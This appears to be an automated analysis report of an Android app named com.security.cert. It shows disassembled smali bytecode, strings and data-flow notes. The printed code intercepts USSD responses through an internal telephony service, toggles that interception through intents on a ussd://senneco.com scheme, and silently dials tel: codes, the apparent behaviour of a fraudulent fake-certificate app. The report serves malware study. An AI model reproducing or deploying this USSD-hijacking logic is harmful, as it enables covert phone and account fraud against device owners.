1const-string v0, "android.intent.action.INSERT"
3invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
4move-result-object v1
6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
7move-result v0
8if-eqz v0, :cond_37
10iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
12invoke-static {v0, p1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;Landroid/content/Context;)Landroid/content/Context;
14iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
16invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Landroid/content/Context;
17move-result-object v0
18if-eqz v0, :cond_36
20iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
22iget-object v1, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
24invoke-static {v1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Landroid/content/Context;
25move-result-object v1
26const v2, 0x7f040010
28invoke-virtual {v1, v2}, Landroid/content/Context;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • resId: 2130968592
29move-result-object v1
31invoke-static {v0, v1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;Ljava/lang/String;)Ljava/lang/String;
32const/4 v0, 0x1
34invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z
  • Data flow analysis:
    • param0: 1
36const-string v0, "USSDDumbExtendedNetworkService"
38const-string v1, "activate"
40invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: activate
41cond_36: return-void
42cond_37:
43const-string v0, "android.intent.action.DELETE"
45invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
46move-result-object v1
48invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
49move-result v0
50if-eqz v0, :cond_36
52iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
53const/4 v1, 0x0
55invoke-static {v0, v1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;Landroid/content/Context;)Landroid/content/Context;
  • Data flow analysis:
    • param1: 0
56const/4 v0, 0x0
58invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z
  • Data flow analysis:
    • param0: 0
60const-string v0, "USSDDumbExtendedNetworkService"
62const-string v1, "deactivate"
64invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: deactivate
65goto/16 :goto_36
APIs
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.HttpResponse.getHeaders
  • org.apache.http.StatusLine.getStatusCode
  • org.apache.http.client.HttpResponseException.<init>
  • org.apache.http.Header.getValue
  • java.lang.String.equals
  • org.apache.http.StatusLine.getStatusCode
  • org.apache.http.client.HttpResponseException.<init>
  • org.apache.http.HttpResponse.getEntity
  • org.apache.http.entity.BufferedHttpEntity.<init>
  • org.apache.http.util.EntityUtils.toByteArray
  • org.apache.http.StatusLine.getStatusCode
  • org.apache.http.StatusLine.getReasonPhrase
  • org.apache.http.client.HttpResponseException.<init>
Strings
  • Content-Type
  • None, or more than one, Content-Type Header found!
  • Content-Type not allowed!
Position Instruction Meta Information
0const/4 v2, 0x1
1const/4 v1, 0x0
2const/4 v0, 0x0
4invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
5move-result-object v4
7const-string v3, "Content-Type"
9invoke-interface {p1, v3}, Lorg/apache/http/HttpResponse;->getHeaders(Ljava/lang/String;)[Lorg/apache/http/Header;
  • Data flow analysis:
    • param0: Content-Type
10move-result-object v3
11array-length v5, v3
12if-eq v5, v2, :cond_1f
13new-instance v0, Lorg/apache/http/client/HttpResponseException;
15invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I
16move-result v2
18const-string v3, "None, or more than one, Content-Type Header found!"
20invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V
  • Data flow analysis:
    • param1: None, or more than one, Content-Type Header found!
22invoke-virtual {p0, v0, v1}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V
23goto_1e: return-void
24cond_1f: aget-object v5, v3, v0
26sget-object v6, Lcom/b/a/a/h;->a:[Ljava/lang/String;
27array-length v7, v6
28move v3, v0
29goto_25: if-ge v3, v7, :cond_37
30aget-object v8, v6, v3
32invoke-interface {v5}, Lorg/apache/http/Header;->getValue()Ljava/lang/String;
33move-result-object v9
35invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
36move-result v8
37if-eqz v8, :cond_34
38move v0, v2
39cond_34: add-int/lit8 v3, v3, 0x1
40goto/16 :goto_25
41cond_37: if-nez v0, :cond_48
42new-instance v0, Lorg/apache/http/client/HttpResponseException;
44invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I
45move-result v2
47const-string v3, "Content-Type not allowed!"
49invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V
  • Data flow analysis:
    • param1: Content-Type not allowed!
51invoke-virtual {p0, v0, v1}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V
52goto/16 :goto_1e
53cond_48:
54invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
55move-result-object v2
56if-eqz v2, :cond_7d
57new-instance v0, Lorg/apache/http/entity/BufferedHttpEntity;
59invoke-direct {v0, v2}, Lorg/apache/http/entity/BufferedHttpEntity;-><init>(Lorg/apache/http/HttpEntity;)V
60goto_53:
61invoke-static {v0}, Lorg/apache/http/util/EntityUtils;->toByteArray(Lorg/apache/http/HttpEntity;)[B
62try_end_56: move-result-object v1
63goto_57:
64invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I
65move-result v0
66const/16 v2, 0x12c
67if-lt v0, v2, :cond_79
68new-instance v0, Lorg/apache/http/client/HttpResponseException;
70invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I
71move-result v2
73invoke-interface {v4}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String;
74move-result-object v3
76invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V
78invoke-virtual {p0, v0, v1}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V
79goto/16 :goto_1e
80catch_70: move-exception v0
81move-object v2, v0
82move-object v0, v1
83check-cast v0, [B
85invoke-virtual {p0, v2, v0}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V
86goto/16 :goto_57
87cond_79:
88invoke-virtual {p0, v1}, Lcom/b/a/a/h;->b([B)V
89goto/16 :goto_1e
90cond_7d: move-object v0, v1
91goto/16 :goto_53
APIs
  • com.security.cert.ui.UssdActivity.a
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.security.cert.ui.UssdActivity.b
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • com.security.cert.ui.UssdActivity.startActivityForResult
  • java.lang.Object.getClass
  • java.lang.Class.getSimpleName
  • android.os.RemoteException.getMessage
  • android.util.Log.e
Strings
  • :ON;)
  • android.intent.action.CALL
  • tel:
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity;
3invoke-static {v0}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;)Lcom/a/a/a/a;
4move-result-object v0
5if-eqz v0, :cond_13
6try_start_8:
7iget-object v0, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity;
9invoke-static {v0}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;)Lcom/a/a/a/a;
10move-result-object v0
12const-string v1, ":ON;)"
14invoke-interface {v0, v1}, Lcom/a/a/a/a;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence;
15goto_13:
16iget-object v0, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity;
17new-instance v1, Landroid/content/Intent;
19const-string v2, "android.intent.action.CALL"
20new-instance v3, Ljava/lang/StringBuilder;
22invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
24const-string v4, "tel:"
26invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: tel:
27move-result-object v3
29iget-object v4, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity;
31invoke-static {v4}, Lcom/security/cert/ui/UssdActivity;->b(Lcom/security/cert/ui/UssdActivity;)Ljava/lang/String;
32move-result-object v4
34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35move-result-object v3
37invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
38move-result-object v3
40invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
41move-result-object v3
43invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • param0: android.intent.action.CALL
44const/4 v2, 0x1
46invoke-virtual {v0, v1, v2}, Lcom/security/cert/ui/UssdActivity;->startActivityForResult(Landroid/content/Intent;I)V
  • Data flow analysis:
    • requestCode: 1
47return-void
48catch_3e: move-exception v0
50invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
51move-result-object v1
53invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
54move-result-object v1
56invoke-virtual {v0}, Landroid/os/RemoteException;->getMessage()Ljava/lang/String;
57move-result-object v0
59invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
60goto/16 :goto_13
APIs
  • android.content.SharedPreferences.getString
  • android.text.TextUtils.split
  • java.util.Arrays.asList
  • java.util.ArrayList.<init>
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • org.json.JSONObject.<init>
  • java.util.List.remove
  • android.text.TextUtils.join
  • android.content.SharedPreferences$Editor.putString
  • org.json.JSONException.printStackTrace
  • android.content.SharedPreferences$Editor.commit
Strings
  • queue
  • \u2116@--R7a
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor;
2move-result-object v1
3new-instance v2, Ljava/util/ArrayList;
5invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
6move-result-object v0
8const-string v3, "queue"
10const-string v4, ""
12invoke-interface {v0, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: queue
13move-result-object v0
15const-string v3, "\u2116@--R7a"
17invoke-static {v0, v3}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • expression: \u2116@--R7a
18move-result-object v0
20invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
21move-result-object v0
23invoke-direct {v2, v0}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
25invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
26move-result-object v3
27goto_23:
28invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
29move-result v0
30if-eqz v0, :cond_4e
32invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
33move-result-object v0
34check-cast v0, Ljava/lang/String;
35try_start_2f: new-instance v4, Lorg/json/JSONObject;
37invoke-direct {v4, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
39invoke-static {p1, v4}, Lcom/security/cert/b/a;->a(Lorg/json/JSONObject;Lorg/json/JSONObject;)Z
40move-result v4
41if-eqz v4, :cond_23
43invoke-interface {v2, v0}, Ljava/util/List;->remove(Ljava/lang/Object;)Z
45const-string v0, "queue"
47const-string v4, "\u2116@--R7a"
49invoke-static {v4, v2}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String;
  • Data flow analysis:
    • param0: \u2116@--R7a
50move-result-object v4
52invoke-interface {v1, v0, v4}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • param0: queue
53try_end_48: goto/16 :goto_23
54catch_49: move-exception v0
56invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
57goto/16 :goto_23
58cond_4e:
59invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
60return-void
APIs
  • android.os.Parcel.obtain
  • android.os.Parcel.writeInterfaceToken
  • android.os.Parcel.writeInt
  • android.text.TextUtils.writeToParcel
  • android.os.IBinder.transact
  • android.os.Parcel.readException
  • android.os.Parcel.readInt
  • android.os.Parcelable$Creator.createFromParcel
  • android.os.Parcel.recycle
  • android.os.Parcel.writeInt
  • android.os.Parcel.recycle
Strings
  • com.android.internal.telephony.IExtendedNetworkService
Position Instruction Meta Information
1invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
2move-result-object v1
4invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
5move-result-object v2
6try_start_8:
7const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
9invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
10if-eqz p1, :cond_36
11const/4 v0, 0x1
13invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInt(I)V
  • Data flow analysis:
    • param0: 1
14const/4 v0, 0x0
16invoke-static {p1, v1, v0}, Landroid/text/TextUtils;->writeToParcel(Ljava/lang/CharSequence;Landroid/os/Parcel;I)V
  • Data flow analysis:
    • parcelableFlags: 0
17goto_17:
18iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder;
19const/4 v3, 0x3
20const/4 v4, 0x0
22invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
  • Data flow analysis:
    • param0: 3
    • param3: 0
24invoke-virtual {v2}, Landroid/os/Parcel;->readException()V
26invoke-virtual {v2}, Landroid/os/Parcel;->readInt()I
27move-result v0
28if-eqz v0, :cond_43
30sget-object v0, Landroid/text/TextUtils;->CHAR_SEQUENCE_CREATOR:Landroid/os/Parcelable$Creator;
32invoke-interface {v0, v2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
33move-result-object v0
34check-cast v0, Ljava/lang/CharSequence;
35try_end_2f:
36invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
38invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
39return-object v0
40cond_36: const/4 v0, 0x0
41try_start_37:
42invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInt(I)V
  • Data flow analysis:
    • param0: 0
43try_end_3a: goto/16 :goto_17
44catchall_3b: move-exception v0
46invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V
48invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
49throw v0
50cond_43: const/4 v0, 0x0
51goto/16 :goto_2f
APIs
  • android.util.Log.i
  • android.content.IntentFilter.<init>
  • android.content.IntentFilter.addAction
  • android.content.IntentFilter.addDataScheme
  • android.content.IntentFilter.addDataAuthority
  • android.content.IntentFilter.addDataPath
  • com.security.cert.services.USSDDumbExtendedNetworkService.registerReceiver
Strings
  • USSDDumbExtendedNetworkService
  • *USSDDumbExtendedNetworkService bind successfully*
  • android.intent.action.INSERT
  • android.intent.action.DELETE
  • ussd
  • senneco.com
  • /
Position Instruction Meta Information
1const-string v0, "USSDDumbExtendedNetworkService"
3const-string v1, "*USSDDumbExtendedNetworkService bind successfully*"
5invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: USSDDumbExtendedNetworkService
    • msg: *USSDDumbExtendedNetworkService bind successfully*
6new-instance v0, Landroid/content/IntentFilter;
8invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
10const-string v1, "android.intent.action.INSERT"
12invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: android.intent.action.INSERT
14const-string v1, "android.intent.action.DELETE"
16invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
  • Data flow analysis:
    • action: android.intent.action.DELETE
18const-string v1, "ussd"
20invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addDataScheme(Ljava/lang/String;)V
  • Data flow analysis:
    • scheme: ussd
22const-string v1, "senneco.com"
23const/4 v2, 0x0
25invoke-virtual {v0, v1, v2}, Landroid/content/IntentFilter;->addDataAuthority(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • param0: senneco.com
    • param1: 0
27const-string v1, "/"
28const/4 v2, 0x0
30invoke-virtual {v0, v1, v2}, Landroid/content/IntentFilter;->addDataPath(Ljava/lang/String;I)V
  • Data flow analysis:
    • path: /
    • type: 0
32iget-object v1, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver;
34invoke-virtual {p0, v1, v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
36iget-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->f:Lcom/a/a/a/b;
37return-object v0
APIs
  • org.apache.http.protocol.HttpContext.getAttribute
  • java.lang.Boolean.booleanValue
  • org.apache.http.protocol.HttpContext.getAttribute
  • org.apache.http.client.methods.HttpUriRequest.getMethod
  • java.lang.String.equals
  • android.os.SystemClock.sleep
  • java.lang.Object.getClass
  • java.util.HashSet.contains
  • java.lang.Object.getClass
  • java.util.HashSet.contains
  • java.io.IOException.printStackTrace
Strings
  • http.request_sent
  • http.request
  • POST
Position Instruction Meta Information
0const/4 v2, 0x0
1const/4 v1, 0x1
3const-string v0, "http.request_sent"
5invoke-interface {p3, v0}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • param0: http.request_sent
6move-result-object v0
7check-cast v0, Ljava/lang/Boolean;
8if-eqz v0, :cond_36
10invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
11move-result v0
12if-eqz v0, :cond_36
13move v0, v1
14goto_13: iget v3, p0, Lcom/b/a/a/j;->c:I
15if-le p2, v3, :cond_38
16move v0, v2
17goto_18: if-eqz v0, :cond_5e
19const-string v0, "http.request"
21invoke-interface {p3, v0}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • param0: http.request
22move-result-object v0
23check-cast v0, Lorg/apache/http/client/methods/HttpUriRequest;
25invoke-interface {v0}, Lorg/apache/http/client/methods/HttpUriRequest;->getMethod()Ljava/lang/String;
26move-result-object v0
28const-string v3, "POST"
30invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • param0: POST
31move-result v0
32if-nez v0, :cond_58
33goto_2e: if-eqz v1, :cond_5a
34const-wide/16 v2, 0x5dc
36invoke-static {v2, v3}, Landroid/os/SystemClock;->sleep(J)V
  • Data flow analysis:
    • param0: 1500
    • param1: POST
37goto_35: return v1
38cond_36: move v0, v2
39goto/16 :goto_13
40cond_38:
41sget-object v3, Lcom/b/a/a/j;->b:Ljava/util/HashSet;
43invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
44move-result-object v4
46invoke-virtual {v3, v4}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z
47move-result v3
48if-eqz v3, :cond_46
49move v0, v2
50goto/16 :goto_18
51cond_46:
52sget-object v3, Lcom/b/a/a/j;->a:Ljava/util/HashSet;
54invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
55move-result-object v4
57invoke-virtual {v3, v4}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z
58move-result v3
59if-eqz v3, :cond_54
60move v0, v1
61goto/16 :goto_18
62cond_54: if-nez v0, :cond_60
63move v0, v1
64goto/16 :goto_18
65cond_58: move v1, v2
66goto/16 :goto_2e
67cond_5a:
68invoke-virtual {p1}, Ljava/io/IOException;->printStackTrace()V
69goto/16 :goto_35
70cond_5e: move v1, v0
71goto/16 :goto_2e
72cond_60: move v0, v1
73goto/16 :goto_18
APIs
  • java.lang.Object.getClass
  • java.lang.Object.equals
  • org.json.JSONObject.length
  • org.json.JSONObject.keys
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • org.json.JSONObject.opt
  • org.json.JSONArray.length
  • org.json.JSONArray.opt
  • java.lang.Object.equals
Position Instruction Meta Information
0const/4 v2, 0x1
1const/4 v1, 0x0
2if-ne p0, p1, :cond_6
3move v1, v2
4goto_5: return v1
5cond_6: if-eqz p0, :cond_5
6if-eqz p1, :cond_5
8invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
9move-result-object v0
11invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
12move-result-object v3
14invoke-virtual {v0, v3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
15move-result v0
16if-eqz v0, :cond_5
17instance-of v0, p0, Lorg/json/JSONObject;
18if-eqz v0, :cond_4b
19check-cast p0, Lorg/json/JSONObject;
20check-cast p1, Lorg/json/JSONObject;
22invoke-virtual {p0}, Lorg/json/JSONObject;->length()I
23move-result v0
25invoke-virtual {p1}, Lorg/json/JSONObject;->length()I
26move-result v3
27if-ne v0, v3, :cond_5
29invoke-virtual {p0}, Lorg/json/JSONObject;->keys()Ljava/util/Iterator;
30move-result-object v3
31cond_2e:
32invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
33move-result v0
34if-eqz v0, :cond_49
36invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
37move-result-object v0
38check-cast v0, Ljava/lang/String;
40invoke-virtual {p0, v0}, Lorg/json/JSONObject;->opt(Ljava/lang/String;)Ljava/lang/Object;
41move-result-object v4
43invoke-virtual {p1, v0}, Lorg/json/JSONObject;->opt(Ljava/lang/String;)Ljava/lang/Object;
44move-result-object v0
46invoke-static {v4, v0}, Lcom/security/cert/b/a;->a(Ljava/lang/Object;Ljava/lang/Object;)Z
47move-result v0
48if-nez v0, :cond_2e
49goto/16 :goto_5
50cond_49: move v1, v2
51goto/16 :goto_5
52cond_4b: instance-of v0, p0, Lorg/json/JSONArray;
53if-eqz v0, :cond_77
54check-cast p0, Lorg/json/JSONArray;
55check-cast p1, Lorg/json/JSONArray;
57invoke-virtual {p0}, Lorg/json/JSONArray;->length()I
58move-result v0
60invoke-virtual {p1}, Lorg/json/JSONArray;->length()I
61move-result v3
62if-ne v0, v3, :cond_5
63move v0, v1
64goto_5e:
65invoke-virtual {p0}, Lorg/json/JSONArray;->length()I
66move-result v3
67if-ge v0, v3, :cond_75
69invoke-virtual {p0, v0}, Lorg/json/JSONArray;->opt(I)Ljava/lang/Object;
70move-result-object v3
72invoke-virtual {p1, v0}, Lorg/json/JSONArray;->opt(I)Ljava/lang/Object;
73move-result-object v4
75invoke-static {v3, v4}, Lcom/security/cert/b/a;->a(Ljava/lang/Object;Ljava/lang/Object;)Z
76move-result v3
77if-eqz v3, :cond_5
78add-int/lit8 v0, v0, 0x1
79goto/16 :goto_5e
80cond_75: move v1, v2
81goto/16 :goto_5
82cond_77:
83invoke-virtual {p0, p1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
84move-result v1
85goto/16 :goto_5
APIs
  • org.apache.http.impl.client.AbstractHttpClient.getHttpRequestRetryHandler
  • org.apache.http.client.HttpRequestRetryHandler.retryRequest
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.NullPointerException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.IOException.<init>
  • org.apache.http.client.HttpRequestRetryHandler.retryRequest
  • java.net.ConnectException.<init>
  • java.net.ConnectException.initCause
Strings
  • can\'t resolve host
  • NPE in HttpClient
Position Instruction Meta Information
0const/4 v1, 0x1
1const/4 v0, 0x0
3iget-object v2, p0, Lcom/b/a/a/e;->a:Lorg/apache/http/impl/client/AbstractHttpClient;
5invoke-virtual {v2}, Lorg/apache/http/impl/client/AbstractHttpClient;->getHttpRequestRetryHandler()Lorg/apache/http/client/HttpRequestRetryHandler;
6move-result-object v2
7goto_8: if-eqz v1, :cond_53
8try_start_a:
9invoke-direct {p0}, Lcom/b/a/a/e;->a()V
10goto_d: return-void
11catch_e: move-exception v0
13iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f;
14if-eqz v1, :cond_d
16iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f;
18const-string v2, "can\'t resolve host"
20invoke-virtual {v1, v0, v2}, Lcom/b/a/a/f;->b(Ljava/lang/Throwable;Ljava/lang/String;)V
21goto/16 :goto_d
22catch_1b: move-exception v0
23iget v1, p0, Lcom/b/a/a/e;->f:I
24add-int/lit8 v1, v1, 0x1
25iput v1, p0, Lcom/b/a/a/e;->f:I
27iget-object v3, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext;
29invoke-interface {v2, v0, v1, v3}, Lorg/apache/http/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILorg/apache/http/protocol/HttpContext;)Z
30move-result v1
31goto/16 :goto_8
32catch_29: move-exception v1
33new-instance v0, Ljava/io/IOException;
34new-instance v3, Ljava/lang/StringBuilder;
36invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
38const-string v4, "NPE in HttpClient"
40invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: NPE in HttpClient
41move-result-object v3
43invoke-virtual {v1}, Ljava/lang/NullPointerException;->getMessage()Ljava/lang/String;
44move-result-object v1
46invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v1
49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v1
52invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
53iget v1, p0, Lcom/b/a/a/e;->f:I
54add-int/lit8 v1, v1, 0x1
55iput v1, p0, Lcom/b/a/a/e;->f:I
57iget-object v3, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext;
59invoke-interface {v2, v0, v1, v3}, Lorg/apache/http/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILorg/apache/http/protocol/HttpContext;)Z
60move-result v1
61goto/16 :goto_8
62cond_53: new-instance v1, Ljava/net/ConnectException;
64invoke-direct {v1}, Ljava/net/ConnectException;-><init>()V
66invoke-virtual {v1, v0}, Ljava/net/ConnectException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
67throw v1
APIs
  • android.net.Uri.encode
  • java.lang.String.replaceAll
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Strings
  • #
  • android.intent.action.CALL
  • tel:
Position Instruction Meta Information
1const-string v0, "#"
3const-string v1, "#"
5invoke-static {v1}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • s: #
6move-result-object v1
8invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param0: #
9move-result-object v0
10new-instance v1, Landroid/content/Intent;
12const-string v2, "android.intent.action.CALL"
13new-instance v3, Ljava/lang/StringBuilder;
15invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
17const-string v4, "tel:"
19invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • param0: tel:
20move-result-object v3
22invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v0
25invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v0
